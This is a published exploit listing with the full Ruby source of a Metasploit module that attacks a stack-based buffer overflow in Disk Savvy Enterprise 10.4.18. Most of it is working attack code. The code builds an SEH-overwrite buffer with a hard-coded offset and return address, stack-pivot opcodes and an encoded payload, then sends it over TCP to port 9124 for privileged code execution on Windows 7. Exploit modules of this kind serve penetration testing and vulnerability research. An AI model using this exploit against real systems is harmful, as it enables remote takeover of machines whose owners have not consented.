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Disk Savvy Enterprise 10.4.18 Buffer Ovreflow

Disk Savvy Enterprise 10.4.18 Buffer Ovreflow
Posted Feb 23, 2018
Authored by Daniel Teixeira | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in Disk Savvy Enterprise version 10.4.18, caused by improper bounds checking of the request sent to the built-in server. This Metasploit module has been tested successfully on Windows 7 SP1 x86.

tags | exploit, overflow, x86
systems | windows, 7
MD5 | bfeae1744c34384854bd5326b5010471

Disk Savvy Enterprise 10.4.18 Buffer Ovreflow

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Savvy Enterprise v10.4.18',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in Disk Savvy Enterprise v10.4.18, caused by improper bounds
checking of the request sent to the built-in server. This module
has been tested successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x02\x0a\x0d\xf8",
'Space' => 800
},
'Targets' =>
[
[ 'Disk Savvy Enterprise v10.4.18',
{
'Offset' => 124,
'Ret' => 0x10056d13
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 31 2017',
'DefaultTarget' => 0))

register_options([Opt::RPORT(9124)])

end

def exploit
seh = generate_seh_record(target.ret)
connect

buffer = make_nops(target['Offset'])
buffer << seh
buffer << "\x83\xc4\x7f" * 13 #ADD esp,7fh
buffer << "\x83\xc4\x21" #ADD esp,21h
buffer << "\xff\xe4" #JMP esp
buffer << payload.encoded
buffer << Rex::Text.rand_text_alphanumeric(1)

header = "\x75\x19\xba\xab"
header << "\x03\x00\x00\x00"
header << "\x00\x40\x00\x00"
header << [buffer.length].pack("V")
header << [buffer.length].pack("V")
header << [buffer[-1].ord].pack("V")
packet = header
packet << buffer

sock.put(packet)
handler
end
end

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